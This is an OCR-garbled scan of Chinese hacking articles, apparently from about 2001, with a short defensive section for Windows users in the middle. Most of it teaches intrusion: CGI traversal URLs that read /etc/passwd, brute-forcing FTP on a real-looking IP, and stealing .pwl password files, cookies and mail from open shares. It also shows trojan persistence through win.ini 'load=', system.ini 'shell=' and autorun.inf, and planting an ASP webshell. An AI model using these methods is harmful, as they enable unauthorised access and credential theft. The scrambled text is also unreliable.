是 个 邮件 服务 程序 , 它 就 相当 于 linux 的 mail 程序 ,

2001 年 它 被 发 现 有 溢出 漏洞 ,网管 们 要 小 心 了 。 如 有 果

这 招 失 败 , 就 看 看 它 的 mpe 服务 了 , 因为 sun 的 zpc 还

程 溢出 太 可 怕 了 , 这 几 年 层出不穷 。 这 也 是 对 付 sun

服务 器 的 最 有 效 的 方法 。 拿 此 服务 器 为 例 , 它 的 ttdb-

serverd 守护 进程 就 很 有 可 能 有 溢出 漏洞 , 如 果 这 全 服

务 器 没有 patch 的 话 。 在 www. securityfocus. com 上 我

们 就 可 以 找到 它 的 溢出 程序 。 臣 , 我们 利用 的 漏洞 和

程序 基本 上 是 老外 们 写 的 。 就 这 样 ,运气 好 的 话 , 几 分

钟 就 搞定 了 一 台 服 务 器 ,再 不 行 , 你 就 用 暴力 法 了 ,前

提 是 你 很 有 钱 , 搞 个 程序 自动 测试 用 户 的 密码 了 。 这

次 中 美 网 络 大 战 , 老 美的 那个 专门 黑 中 国 sun 服务 器

的 人 ,就 是 利用 了 sun 的 sadmind 远程 溢出 漏洞 ,这 是

一 个 1999 发 现 的 漏洞 , 可 是 他 在 国内 的 服务 器 上 屡

屡 得 手 , 我 真 不 知道 国内 的 这 些 部 门 的 网 络 管理 人 员

是 于 什么 的 。 能 用 的 起 sun 服务 器 的 都 是 些 重要 部 门

或 大 公司 ,他 们 的 硬件 这 人 么 好 , 可 人 员 素质 却 跟 不 上 ,

用 人 制度 真是 差劲 。 对 于 新 手 们 来 说 关键 的 一 点 是 收

集 到 足够 的 信息 , 然 后 利用 一 些 已 知 的 漏洞 利用 程

序 。

怎么 得 到 一 个 用 户 名 和 密码 呢 ?

方法 一 :使 用 小 榕 的 流光 软件 。 该 软件 界面 友好 ,

操作 简单 , 极 易 上 手 。 流 光 的 ftp 探测 对 win 系列 的

ftp,sun 的 proftp 都 比较 好 , 你 可 以 用 流光 测试 , 看 能

不 能 得 到 一 个 普通 用 户 。 然 后 用 该 用 户 登陆 , 一 般 情

况 该 用 户 在 系统 中 都 有 一 个 shell, 如 果 能 进入 系统 ,

你 就 准备 夺取 root 权限 吧 。 从 我 以 往 的 经 验 看 , 许多

系统 的 本 地 漏洞 根本 从 没 修补 过 , 很 轻松 的 就 成 为

root 了 。 .

方法 二 : 试 试 一 些 呀 漏洞。 例如 ,http: //

www. victim. comVcgi -bin/whois raw. c 外 ? 。” f{qdn = 狗

0acat% 20/etc/passwd ,

cgi - bin/faxsurvey? /pin/cat% 20/etc/passwd,

http: / /www. victim. com 7

http: / /www. victim. com/opendir. php? requesturl = /

etc/passwd ,等 等 。 这 都 是 已 知 的 一 些 cgi 漏洞 。 当 然 ,

前 提 是 这 些 傻瓜 网 站 有 这 些 cgi 脚本 , 且 没有 修补 。 我

们 可 以 用 x - scan 扫描 器 ,用 它 的 cgi 选项 。 如 果 大 家

实在 想 试 试 身手 的 话 , 我 推荐 一 傻瓜 法 。 因 为 我 想 对

于 新 手 而 言 , 能 成 功 的 进入 他 人 侵 生涯 的 第 一 台 服 务

器 是 对 他 极 大 的 鼓舞 。 到 http: / /www. google. com 这

个 网 站 去 , 这 是 一 个 搜索 引擎 。 例 如 你 输入 7/

opendir. php 进行 搜索 , 就 会 找到 一 大 堆 用 这 个 o 煌 的

网 站 , 你 就 慢 慢 实 验 了 , 很 多 网 站 没 打 补 本 了 。 例 如 :

http: / /developer. html. com 等 一 些 站 点 , 不 过 很 多 都

是 老外 的 。 以 下 是 该 网 站 的 passwd。

:本 闭 . 了

2 , 了

上 re

小 编 寄语 : 出 门 要 注意 交通 安全 , 上 网 也 要 注意 网 络 安全 。 特别 是 对 于 初次 接触 网 络 的 人 来 说 ,要 么 处 处

顾 谍 ,什么 也 不 敢 动 ,害怕 被 黑 或 者 感染 病毒 ;要 么 什么 也 不 管 ,三

天 机 器 就 次 闪 。 其 实 网 络 并 不 是 那么 可 怕 , 你 只 要 稍 加 留意 ,就 会 处

为 了 您 的 数据 安全 , 为 了 使 您 不 出 现 这 样 的 情

演 : 在 OICQ 上 跟 一 个 MM 或 者 是 帅哥 畅快 伶俐 聊天

的 时 候 , 电 脑 突然 蓝屏 死机 了 。 你 还 会 纳闷 “我 的 机 器

平时 好 好 的 ,怎么 今天 死 了 N 多 次 了 啊 ,倒霉

网 络 就 是 一 个 大 社会 ,绝对 的 安全 是 没有 的 。

本 文章 是 只 针对 一 般 的 上 网 用 户 (Windows 用

户 ) 而 写 ,不 涉及 那些 攻击 的 原理 , 只 给 出 一 些 针 对 性

的 防范 方案 。

例如 ,国内 的 绿色 警戒 、 天 网 等 等 不 管 你 有 没有

绑 定 netbeui 协议 , 请 把 udpvtecp 135 - 139 的 端口 全

部 拦截 (block) 其 实 做 为 一 般 上 网 用 户 的 机 子 , 根 本 就

用 不 到 提供 什么 服务 ,即使 你 装 的 是 win2000 service,

默认 开 了 一 些 你 不 知名 的 服务 , 这 些 服 务 有 时 反而

成 了 你 机 子安 全 的 威胁 , 既然 不 用 , 好 , 那 就 把 它们

全 部 block 了 吧 , 小 于 1024 的 端口 系统 是 保留 的 , 不

会 分 配给 应 用 程序 的 。 所 以 放心 ,把 udp/tcep < 1024

的 端口 全 部 拦截 。 通 过 这 些 操作 ,可 以 防止 大 部 分 的

端口 攻击 和 危险 的 139 攻击 。

二 \、 亚 的 安全 问题

焉 的 安全 问题 可 能 是 对 一 般 用 户 最 大 的 安全 隐

患 。 一 些 被 恶意 利用 的 Activex 控件 、 恶 意 的 Java 程

序 、 脚 本 等 等 , 例如 可 以 利用 Aetivex 控件 进行 format

操作 , 利 用 脚本 可 把 别人 电脑 上 的 任何 文件 覆盖 掉

(rewrite) 。 所 以 应 该 正确 设置 Active 控件 ,JAVA ,脚本

”的 安全 级 别 。 一 般 上 网 用 户 是 不 会 给 自己 的 下 打 补

丁 的 (PATCH)。 所 以 如 果 有 更 高 的 下 版 本 ,还 是 升级

亚 来 的 方便 。

三 \WSH 脚本 问题

Windows 的 Windows Scripting Host( 简 称 WSH , 脚

文 /sztcww

全 全 SS

本 执行 程序 ) 采 用 默认 安装 ,所 以 一 些 恶 意 的 程序 ( 比

如 说 大 名 易 易 的 LOVEYOU) (vbs 的 WSH 脚 示 文件

来 解释 执行 ) 可 以 通过 OUTLOOK, mIRC 传输 到 本 机

执行 。WSH 脚本 功能 强大 ,几乎 可 以 调用 Windows 的

所 有 资源 ,危及 系统 。 所 以 建议 把 WSH 脚本 解释 器 反

安装 了 。

\ 特 洛 依 木 马

不 得 不 说 的 特 洛 依 木 马 , 先 看 看 一 篇 转自 绿 盟 的

《 特 治 依 防 范 八 招 》。 一 般 的 木马 都 是 典型 的 CZS 模

型 的 程序 ,只 是 把 服务 器 程序 做 了 更 隐藏 , 大 部 分 都

是 启动 时 自动 运行 那 种 ,欺骗 广大 群众 (bo 、 冰 河 就 是

典型 ) 。 但 也 不 得 不 注意 ,例如 :用 EMAIL 发 给 你 一 个

特别 的 木马 , 而 且 随 意 就 运行 了 它 。 该 木马 可 以 把 你

拨号 上 网 的 帐号 和 密码 发 到 别人 的 EMAIL 中 , 当 然

你 如 果 保 存 密码 的 话 。 不 只 不 觉 中 , 你 的 帐号 就 被 盗

用 了 。

五 应 用 程序 的 安全 问题

应 用 程序 的 安全 问题 , 也 可 能 使 你 在 网 上 遭 到 攻

击 。 例 如 :以 前 的 OICQ 版 本 存在 堆 (heap) , 栈 (stack)

的 溢出 现象 。winamp2. 64 以 下 的 版 本 也 存在 缓冲 区

六 、 拒 绝 服务 攻击

一 种 最 最 令 管理 员 头 痛 的 攻击 就 是 D0S( 拒 绝 服务

攻击 ) 、DDOS (分 布 式 的 拒绝 服务 攻击 ) , 这 种 攻击

.其实 就 是 拼 网 络 的 带宽 。 所 以 一 般 拨 导 用 户 遇 到 这

种 攻击 的 话 根本 就 没有 办 法 。 惟 有 重新 拨号 , 换 个

PP 地址 。

以 上 只 是 我 概括 的 六 个 方面 , 当然 还 有 其 他 的 。

随 着 被 发 现 的 漏洞 越 来 越 多 , 攻 击 的 手段 也 就 越 多 、

越 来 越 复杂 , 令 人 防不胜防 。 繁

.所谓 的 共享 主机 就 是 在 计算 机 里 有 共享 的 硬盘 ,

文件 夹 或 是 打印 机 等 共享 项 目 。 只 有 在 安装 了 网 卡 的

计算 机 上 才 可 以 设置 共享 , 如 网 吧 、 公 司 里 的 局 域 网

和 一 些 用 户 自 己 连 的 对 等 网 。 个 人 可 以 打开 我 的 电

脑 , 在 硬盘 上 点 击 记 标 右键 来 看 看 是 否 有 共享 这 一

项 , 如 果 有 则 可 以 在 里 面 对 自 己 的 共享 进行 设置 。 共

享 的 设置 可 以 分 为 只 读 (可 以 对 硬盘 文件 进行 读 取 但

无 法 删除 或 是 上 载 )、 完 全 (可 以 读 取 、 删 除 、 上 载 等

操作 )、 需 要 密码 访问 (对 上 面 的 两 种 操作 分 别 来 设置

密码 ) 。 不 可 否认 ,共享 在 局 域 网 上 给 我 们 带 来 了 很 大

方便 , 但 如 果 开 着 共享 的 主机 直接 连 上 互联 网 的 话 ,

就 会 给 安全 带 来 很 大 的 隐患 。

首先 如 果 你 是 台 Win98 的 话 , 想 要 进 人 互联 网 上

其 他 的 共享 主机 , 就 要 看 看 你 的 桌面 上 有 没有 “网 上

邻居 ”这 一 项 , 在 个 人 安装 98 的 时 候 , 默认 是 没有 安

装 的 。 如 果 需 要 的 话 , 可 以 在 控制 面板 “添加 删除 “ 程

序 里 把 98 下 的 通讯 一 项 全 部 选中 , 然后 用 98 的 光盘

来 进行 安装 工作 。 等 一 切 做 好 了 以 后 , 我 们 就 可 以 开

始 上 网 寻找 网 上 的 共享 主机 了 。 当 然 首先 如 果 你 想必

先 在 自己 的 局 域 网 内 找 找 共 享 的 话 就 可 以 省 很 多 时

间 了 。 我 们 可 以 直接 编 一 个 程序 来 调用 API 函数 来 实

现 , 运行 后 你 将 很 快 看 到 目前 你 所 在 的 局 域 网 中 的 所

有 主机 的 共享 状态 ,详细 到 每 一 个 文件 。 当 然 反 过 来 ,

如 果 你 并 不 想 让 对 方 看 到 你 开 着 共享 的 话 , 可 以 在 本

地 主机 上 将 共享 名 称 的 后 面 加 上 一 个 简单 的 $ 号 来 实

现 隐藏 自己 的 共享 , 比如 之 前 你 将 C 盘 共 享 取 了 一 个

名 字 为 C, 则 现在 可 以 将 名 称 改 为 C$, 以 后 ,就 不 会 在

网 上 邻居 中 再 显示 你 这 个 共享 目录 了 , 但 对 方 依然 可 .

以 在 开始 菜单 的 运行 里 通过 打 人 \\ 你 的 正 \C$ 来 访问

你 的 共享 文件 , 所 以 可 见 取 个 不 易 被 猜 到 名 称 也 的 确

是 非常 重要 的 , 比如 你 可 以 取 个 123abc$# 这 样 的 名 字 ,

一 般 人 是 很 难 猜 中 的 。

在 网 上 开 着 共享 的 主机 多 是 一 些 网 吧 和 公司 局

域 中 的 电脑 用 户 , 他 们 在 平时 工作 中 设置 共享 多 是 为

了 玩 游戏 联机 或 是 工作 需要 等 , 但 实际 上 如 果 你 的 共

的 | 柯 交 六

享 资源 没有 加 上 口令 的 话 , 那么 全 世界 的 人 都 可 以 共

享 了 。 可 是 否 有 访问 密码 就 安全 了 呢 ? 抱 答 案 依然

是 否定 的 , 这 是 由 于 Windows 95、98 共享 目录 密码 校

验 有 BUG ,可 以 让 其 只 校 验 密码 第 一 个 字 节 。 如 果 你

是 Win98 系统 , 拷 贝 一 个 经 过 改动 的 驱动 文件 到

Windows\ System 目录 覆盖 源 文件 , 重启 机 器 , 然后 你

”进入 有 密码 的 共享 目录 , 出 来 提示 ”输入 密码 ”窗口 时

不 用 敲 密码 , 只 要 按 住 回 车 键 不 放 , 直 到 进入 此 有 目

录 。 注 意 :出 来 “密码 不 对 ”提示 , 你 按 住 回 车 键 不 放 ,

就 选 了 确定 , 你 最 多 可 试 密码 256 次 。 一 般 密 码 是 字

母 0X20 - 0X80 ,最 多 96 次 。 只 要 你 按 住 回 车 键 不 放 ,

”很 快 就 可 以 完成 。 远 程 开 了 137, 139 什么 的 , 你 可 以

在 网 上 邻居 里 面 输入 \\ IP, 一 样 可 以 进入 , 可 是 Win

NT 机 器 不 能 用 这 种 方法 进入 。

好 了 , 现在 我 们 已 经 初步 掌握 了 这 些 知识 。 就 让

我 们 来 看 看 到 底 怎么 在 网 上 找 开 有 共享 的 主机 吧 ! 首

先 我 们 可 以 在 Windows 下 的 DOS 窗口 里 用 net view

\\ 对 方 卫 来 直接 查看 对 方 是 否 开 有 共享 , 如 果 有 的

话 ,我 们 可 以 直接 得 到 对 方 共享 资源 的 列表 ,如 :

Shared resources at \\202. 106. 209. 31

SharenameType Comment

BILLINCDisk

CDisk

如 Disk

FDisk

FILESDisk

HP Prnt

The command was completed successfuly.

这 时 我 们 就 可 以 知道 对 方 主机 所 开 的 所 有 共享

目录 了 。

但 这 种 方法 显然 效率 并 不 是 很 高 , 因为 每 次 我 们

还 都 要 自己 来 殴 入 命令 , 当然 我 们 可 以 用 一 些 软件 来

找 开 有 共享 的 主机 。 目 前 来 说 , 国产 软件 网 络 刺 客 是

一 个 非常 不 错 的 找 共享 的 好 工具 , 我 们 可 以 直接 在 里

面 添上 我 们 想 要 查找 的 网 段 地 址 , 随后 网 络 刺客 就 可

以 自动 为 我 们 逐一 来 查找 (如 图 1)。

图 1

但 由 于 速度 方面 和 时 间 效 益 的 矛盾 , 网 络 刺客 也

并 非 可 以 找到 所 有 指定 范围 的 共享 。 所 以 我 再 说 说 我

平时 用 的 一 个 比较 老 套 的 方法 ,但 可 以 保证 不 会 漏 掉

一 个 共享 。 先 用 月 光 的 搜索 版 在 指定 的 网 段 里 寻找 开

有 NETBIOS 的 主机 , 程 序 会 返回 对 方 的 计算 机 名 和

用 户 名 。 不 过 我 们 也 不 能 随便 乱 指定 一 个 网 段 就 去

扫描 , 一 般 我 们 应 该 先 在 “开始 ”菜单 里 运行 , 用 命令

winipcfg 来 确定 自己 目前 的 下 的 地 址 ,然后 在 这 个 范

围 附 近 找 , 这 样 我们 就 可 以 保证 我 们 有 很 高 的 机 会 找

到 我 们 需要 的 主机 了 (如 图 2) 。

_HSBROYSE

108. 202.434: ,

站 用 名 工作 给 /域名 为 :WORKSROUP

用 户 各 尖 :KEITY: 工作 组 7 城 名 为 :8 和 0BET

图 2

拿 到 了 这 个 计算 机 列表 , 我 们 就 可 以 在 开始 菜单

里 查找 在 目录 下 计算 机 里 直接 输入 对 方 的 卫 地 址 ,

然后 按 开始 查找 就 可 以 了 。 如 果 对 方 开 有 共享 的 话 ,

就 会 出 现 一 个 电脑 的 小 图 标 (如 图 3)。

我 们 只 要 双击 就 可 以 进入 对 方 的 共享 目录 了 。 在

网 上 其 实 有 大 量 的 共享 主机 很 多 都 是 把 自己 的 C 盘

图 3

设 为 共享 的 。 当 然 , 有 的 时 候 我 们 连 进去 一 看 什么 都

没有 , 这 是 由 于 对 方 并 没有 实际 共享 自己 的 任何 文件

所 造成 的 ,我们 只 好 放弃 去 找 下 一 个 目标 。 好 在 在 网

上 不 注意 安全 的 人 有 很 多 , 我 们 很 快 就 可 以 找到 下 一

个 目标 的 (如 图 4)。

图 4

这 时 我 们 就 可 以 进入 对 方 的 ec \windows 目录 下 ,

找 其 中 以 .pwl 为 后 缘 的 文件 , 这 里 面 放 的 就 是 对 方

计算 机 保存 的 上 网 密码 和 其 他 一 些 本 地 访问 时 保存

下 来 的 密码 文件 。 我 还 要 额外 教 大 家 一 个 小 窍门

PWEL 文件 一 般 都 是 以 用 户 名 为 文件 名 称 的 ,但 其 图 标

为 Windows 的 系统 文件 的 图 标 在 对 方 允 indows 目录

下 非常 不 容易 查找 , 我 们 都 知道 Windows 上 月 录 下 的 文

件数 量 是 非常 之 多 的 。 我 们 可 以 先 在 本 地 机 装 上 一 个

PWLIOOL, 这 个 软件 是 目前 我 用 过 的 最 好 的 也 是 唯

一 的 一 个 可 以 直接 查看 PWL 文件 中 的 内 容 的 软件 ,

其 他 在 网 上 流行 的 看 PWE 文件 的 软件 , 由 于 考虑 到

安全 性 ,都 只 可 以 看 到 本 地 的 PWTL 文件 中 的 密码 。 有

人 还 曾 以 为 只 要 把 偷 来 的 文件 也 放 到 自己 的 Wid-

nwos 目录 下 就 可 以 ,可 实际 上 决 非 那么 简单 。 不 过 现

在 可 以 用 PWLTOOL 这 个 软件 ,如果 你 是 在 本 地 第 一

次 启动 它 , 它 会 把 所 有 PWL 后 绥 的 文件 名 的 图 标 全

都 改 成 自己 程序 的 图 标 , 并 设 有 关联 启动 。 现 在 我 们

再 进入 对 方 共享 的 Windows 目录 下 , 马上 点 击 鼠 标 右

键 ,选择 “ 按 文件 类 型 来 排列 ”, 这 时 所 有 的 PWL 文件

就 全 都 排 在 了 一 起 并 以 醒目 的 图 标 让 我 们 一 眼 就 可

以 找到 (如 图 5)。

Sr 7 全 入 7

RE

et

… 咎 中 机 县 寿 包 可 考区 说明

0

0

二 沪

图 5

现在 我 们 就 可 以 直接 选中 这 两 个 文件 ,用 复制 命

令 , 然 后 粘贴 到 本 地 的 硬盘 。 之 后 就 可 以 用 PWLIOOL

来 打开 我 们 得 到 的 PWL 文件 了 , 如 果 对 方 用 户 没有

设 开机 密码 的 话 , 我 们 就 可 以 直接 查看 文件 中 的 上 网

密码 和 其 他 用 户 保 存 的 密码 了 (如 图 6)。

SEE FrEL RCIEsT 吉 SCYDTRICESS

站 pas5mvctdYefesGG 这 InHEFT 路 cctta

URATAESSOSMN2ET

PaYSYWYCYCETRN 人

图 6

我 曾经 在 一 个 公司 的 共享 主机 PWL 文件 里 找到

了 他 们 公司 网 站 的 TFTTP 密码 ,也 就 是 说 我 可 以 赁 着 那

个 密码 去 直接 黑 了 他 们 公司 的 网 页 , 这 是 因为 我 们 在

98 下 用 下 去 访问 FTP 站 点 的 时 候 ,Windows 会 把 我

们 的 连接 密码 记录 下 来 的 原因 。 另 外 还 有 一 些 文件 也

值得 我 们 去 看 看 ,C:\Windows\ Cookies \ index. dat 这

个 文件 记录 了 很 多 用 户 曾经 访问 过 的 网 站 地 址 和

cookie 的 角 定 , 我 们 可 以 通过 这 个 文件 直接 分 析出 对

方 的 上 网 爱好 甚至 是 他 在 一 些 BBS 上 的 密码 ,因为 目

前 很 多 BBS 都 会 在 用 户 每 次 发 言 的 时 候 把 他 的 用 户

密码 也 当 作 是 URL 的 一 部 分 来 提交 给 服务 器 上 的

CGI 程序 。 我 在 第 一 次 用 记事 本 来 查看 我 的 这 个 文件

的 时 候 也 惊讶 地 发 现 了 我 的 BBS 用 户 名 和 密码 也 都

以 明文 保存 在 这 个 文件 里 。C:\ 双 INDOWSA\ Favorites

这 个 文件 夹 下 面 是 对 方 正 的 收藏 丈 , 通 过 它 我 们 可

以 轻松 的 知道 对 方 上 网 的 全 部 爱好 。C:\WINDOWS'、

{3E690B40 - 97EA -

11D4 -967B -9117A21ED870 八 Microsoft\Outjook 卫 x-

press 目录 下 则 是 对 方 OFE 程序 最 近 所 有 收发 邮件 的

存放 地 址 ,而 且 默 认 都 是 没有 任何 加 密 , 我 们 可 以 轻

松 地 用 记事 本 来 直接 查看 。 如 果 你 运气 好 , 对 方 的 C

盘 是 完全 共享 的 话 , 我 们 可 以 直接 拷贝 一 个 文件 到

C:\WINDOWS\Start Menu\Programs\ 启 动 目录 下 , 这

样 对 方 在 下 次 开机 启动 的 时 候 就 会 自动 执行 我 们 所

指定 的 程序 了 。 例 还 有 一 些 特别 的 程序 漏洞 我 们 也 可

以 来 用 , 比如 对 方 是 用 FOXMA 世 来 收 信 的 话 ,我 们 可

以 看 看 他 的 FOXMAIL 目录 下 是 否 有 FOXMAIL. INI

这 个 文件 , 如 果 有 也 可 以 拷 回 来 放 到 我 们 的 FOX-

MAIL 的 文件 夹 里 , 这 样 就 可 以 直接 去 看 对 方 的 信箱

密码 了 , 不 过 只 对 2. 1 版 有 效 。 当 然 ,实际 上 你 可 以 轻

松 的 查看 对 方 C 盘 上 的 所 有 文件 。

现在 , 我 们 实际 上 是 利用 了 文件 共享 进入 了 对 方

的 计算 机 , 现在 我 们 只 是 可 以 查看 对 方 的 文件 , 但 我

们 的 权利 大 小 却 是 不 确定 的 , 如 果 对 方 的 共享 权限 设

置 成 只 读 的 话 , 我 们 响应 的 只 可 以 对 文件 进行 读 取 而

不 能 改动 或 是 新 建 任何 文件 , 我 们 可 以 试 着 在 对 方 目 ,

录 下 新 建 一 个 文件 夹 来 确定 自己 的 权限 , 如 果 新 建成

功 则 说 明 对 方 的 共享 设置 的 是 完全 , 否则 就 是 只 读 共

享 。 有 很 多 朋友 都 会 问 我 怎么 利用 对 方 共享 的 这 个 漏

洞 在 对 方 的 计算 机 上 执行 一 个 程序 , 也 就 是 种 上 一 个

木马 之 类 的 东西 。 我 想 说 的 是 如 果 对 方 的 C 盘 是 完全

共享 的 话 , 这 个 问题 就 非常 简单 了 , 我 们 可 以 直接 去

编辑 对 方 主 机 上 的 c: \windows\win. ini 或 是 c: \win-

dows\system. ini 这 两 个 文件 来 做 到 , 只 要 把 我 们 要 执

行 的 程序 的 完整 路 径 输 入 到 上 面 的 两 个 文件 的 相关

处 就 可 以 了 。 (图 7)

在 C: \WINDOWS 的 目录 下 的 WIN.INI 的 文件 中

的 特定 项 目 可 以 做 到

[windows ]

Application Data\ Identities\

load = c: \muma. exe

了 rarmrnaragpooto

这 1

3

次 赤 Te

图 7

将 会 在 系统 启动 的 时 候 自动 加 载 c\ muma. exe

这 个 程序 。

3 SYSTEM. INT

在 C:\ 双 INDOWS 目录 下 的 SYSTEM. INI 文件 中

的 SHELL = 后面 的 指定 项 也 会 在 自动 加 载

[boot

shell = Expjlorer. exe c: \muma. exe

将 会 在 系统 启动 的 时 候 自动 加 载 c\ muma. exe

这 个 程序 。

注意 : 好 像 有 人 说 过 去 改 autoexec. bat 这 个 文件

也 可 以 , 但 在 实际 过 程 中 最 好 不 要 在 这 里 抱 太 大 希

望 , 因 为 现在 的 木马 程序 大 多 是 Win32 的 程序 , 而

autoexec. bat 是 在 Windows 之 前 加 载 的 , 所 以 Win32

的 程序 无 法 运行 , 对 方 计算 机 会 在 启动 的 时 候 出 错 ,

然后 告诉 用 户 非法 启动 一 个 Win32 程序 ,这样 非 常 容

易 暴露 自己 。

当然 , 现 在 完全 共享 自己 C 盘 的 僚 瓜 已 经 不 多

了 ,, 这 时 候 我 们 也 不 要 太 难 过 , 我 们 可 以 去 试 试 对 方

其 他 盘 的 共享 情况 。 实 际 上 有 很 多 人 把 自己 的 C 盘 设

为 只 读 而 会 把 D 盘 卫 盘 之 类 的 设 为 完全 共享 , 也 就

是 说 我 们 还 有 机 会 。 我 们 可 以 先 悄悄 的 上 传 一 个 木马

文件 , 然 后 在 对 方 的 根 目 录 下 写 一 个 autorun. inf 文

件 , 我 们 对 这 个 文件 可 能 都 是 比较 熟悉 的 , 在 光盘 里

这 个 文件 被 使 用 的 比较 普遍 ,比如 一 个 文件 是 :

[autorun |]

OPEN =SETUP. EXE AUTORUN

它 的 意思 就 是 在 双击 这 个 硬盘 图 标的 时 候 , 默认

的 不 是 打开 这 个 盘 的 根 目 录 , 而 是 执行 根 目录 下 的

setup. exe 这 个 文件 。 呵 阿 ,说 到 这 里 大 家 都 应 该 明白

了 ,我们 只 要 把 一 个 文件 放 到 对 方 一 个 完全 共享 盘 的

根 目录 下 ,然后 制作 一 个 autorun. inf 文件 ,内容 就 是 :

[autorun ]

OPEN =muma. exe /AUTORUN

这 样 就 可 以 了 , 下 次 对 方 双击 图 标 进入 的 时 候 就

会 自动 执行 这 程序 , 我 们 就 达到 了 不 改动 对 方 系统 而

实现 自 启动 的 目的 了 , 当然 对 方 也 不 会 一 点 察觉 都 没

有 , 因为 他 会 发 现 他 已 经 没 办 法 靠 双击 硬 表 图 标 进 去

浏览 自己 的 硬盘 文件 了 。 鱼

Windows 下 传统 意义 上 的 木马 都 是 一 个 独立 的

EXE 程序 ,它们 都 需要 单独 开 一 个 端口 来 实现 监听 远

程 的 客户 端 , 并 且 都 会 去 改动 系统 注册 表 或 是 系统 文

件 , 用 来 保证 每 次 开机 的 时 候 能 启动 自己 的 目的 , 所

以 很 容易 被 人 发 现 , 而 且 一 旦 对 方 主机 的 管理 员 配 置

了 防火 墙 , 限 制 了 主机 开放 的 端口 , 则 木马 就 会 失

效 。 典 型 的 例子 就 是 , 如 果 你 有 机 会 去 给 一 台 主 机 种

木马 的 话 ,最 好 先 去 ping 一 下 对 方 的 卫 地 址 ,如果 你

ping 不 通 的 话 , 劲 你 最 好 放弃 , 因 为 这 说 明 对 方 主机

肯定 装 了 防火 墙 , 所 以 对 ICMP 的 报 文 不 会 回应 。 当

然 你 的 木马 所 开 的 端口 也 是 非法 端口 , 从 而 无 法 实现

远程 连接 。 其 实 对 于 NT 下 开启 了 Web 服务 的 主机 ,

我 们 可 以 去 利用 ASP 的 程序 来 实现 一 个 简单 的 远程

控制 , 这 是 由 于 ASP 中 的 内 置 FSO 组 件 可 以 用 来 实

现 文件 的 大 部 分 操作 , 如 果 我 们 稍 加 利用 就 可 以 做 出

一 个 非常 的 小 木马 , 可 以 用 来 在 对 方 主机 上 实现 各 种

文件 操作 , 包括 新 建文 本 文件 和 目录 , 删除 任意 文件

和 目录 , 随意 浏览 对 方 主机 所 有 硬盘 上 的 文件 , 并 且

可 以 查看 文本 文件 内 容 , 还 可 以 任意 在 对 方 主机 上 找

贝 文件 。

好 了 , 现在 我 给 大 家 介绍 一 个 非常 不 错 的 现成 的

ASP 管理 程序 ,网 展 在 线 网 页 维护 系统 2. 0 ,你 可 以 来

我 的 主页 找到 这 套 ASP 的 程序 。 既 然 已 经 有 了 测试 程

序 , 当然 我 们 也 还 要 找 一 个 测试 环境 ,用 LETMEIN 简

单 的 找 一 会 儿 ,就 发 现 了 一 个 目标 。

我 们 用 letmein 61. 139. 46. 100 all g 这 个 命令 来

对 61. 139. 46. 100 这 台 主 机 进行 一 个 简单 的 密码 探

测 看 看 结果 是 什么 (如 图 1) :

全 时 30 于

不 错 , 我 们 很 快 就 发 现 了 对 方 主机 的 用 户 里 有 一

个 用 户 名 为 biling 的 朋友 , 他 的 密码 恰巧 也 是

billing。 好 了 ,我 们 这 时 候 就 可 以 用 FTP 连接 上 去 看 看

对 方 的 FTP 目录 是 什么 了 。 这 里 多 讲 一 句 ,如 果 你 还

不 是 特别 熟悉 FTP 的 命令 格式 的 话 ,就 用 一 个 图 形 界

面 的 FTP 工具 好 了 , Windows 下 自 带 的 FTP 工具 实在

是 不 太 方 便 的 , 但 其 他 很 多 高 手 的 文章 里 偏偏 都 是 用

它 的 多 , 其 实 CUTEFTP 就 可 以 很 好 的 满足 我 们 的 要

求 , 而 且 最 重要 的 是 非常 方便 ,来 看 看 吧 ( 如 图 2)。

8 rp

dropreec

yexrfexmex

YEOVX

OpaeAeRSY

有 和 Gyesd

5 TAO

了 -Anioare

TAOYVKAYYS

AT

3 TPR

358 的 42.17 话

SF 0 咯 T2-i7

图 2 ,

我 们 首先 设置 好 我 们 的 用 户 名 和 密码 , 还 有 FTP

主 =

的 主机 地 址 ,就 可 以 直接 连 到 对 方 主机 里 了 。 不 错 , 我

们 的 运气 还 可 以 , 这 个 用 户 有 一 个 可 以 用 Web 浏览

的 目录 , 也 就 是 说 非常 符合 我 们 的 实验 条 件 。 快 把 我

们 准备 好 的 几 个 ASP 程序 放 过 去 吧 ,这 时 候 我 们 就 可

以 直接 用 鼠标 把 ASP 程序 给 搜 过 去 ,是 不 是 要 比 用 命

令 行 的 格式 快 多 了 轻松 多 了 ? 等 所 有 程序 拷贝 过 去 以

后 , 我 们 就 可 以 用 下 浏览 器 去 对 方 的 主机 来 执行 我

们 的 ASP 程序 了 。 我 们 在 地 址 栏 里 用 http: //

61. 139. 46. 100/index. asp 来 执行 程序 , 首 先 这 个

ASP 的 管理 程序 会 让 我 们 输入 一 个 密码 来 证 明 我 们

的 身份 , 当然 密码 是 我 们 直接 在 本 地 就 设置 好 了 的 。

这 样 可 以 保证 其 他 人 不 会 轻易 利用 我 们 辛苦 种 下 的

程序 。 然 后 我 们 就 可 以 直接 看 到 对 方 这 台 NT4.0 上 的

目录 列表 情况 了 。 好 好 看 看 , 你 会 发 现 他 做 的 非常 像

一 个 资源 管理 器 , 所 以 我 们 可 以 很 轻松 的 上 手 ( 如 图

3)。

后 题 |

5 区 站 光 光大 可 久 大王 -后 寺

多 ?于 和 洒 帮 这 < 往生 2 入 这 = 共和

图 3

我 们 可 以 利用 编辑 命令 来 查看 对 方 主 机 上 的 文

本 文件 ,下 面 就 是 我 来 查看 对 方 主机 的 c: \boot, ini 这

个 文件 的 内 容 。 当 然 也 可 以 直接 在 这 里 更 改 文 件 的 内

容 ( 如 图 4)。

RS

并 SLCT419 人 factTEFoniTYSSRNT= 人 bs 人 节 E9T Ye Ge

忆 区) 妹 07 和 六 全 PTELentD STRTC av 1 Susyet ReTFind 人 全 【7

2 了

得 是 如 果 我 们 想 要 下 载 对 方 主机 Web 目录 以 外

的 文件 , 如 何 来 实现 呢 ? 其实 也 很 简单 , 只 要 选中 我 们

想 要 的 文件 , 然 后 把 它 拷贝 到 对 方 主 机 上 的 Web 目

录 下 就 可 以 了 。 但 我 们 怎么 确定 对 方 主机 Web 目录

的 物理 路 径 呢 ? 呵呵 , 也 很 简单 的 , 只 要 直接 在 URL

后 面 加 上 一 个 . ida 就 可 以 看 到 了 , 好 像 这 样子 (如 图

35) :

> 时 授 钳 庶 “Ritie 有 :JTJnetpnpDbiliingxeadasp psp idu。, 生 近 鬼 疏 针

”fr89070003) 二

图 5

看 到 了 对 方 的 Web 目录 , 在 d: \inetpub\billing'\

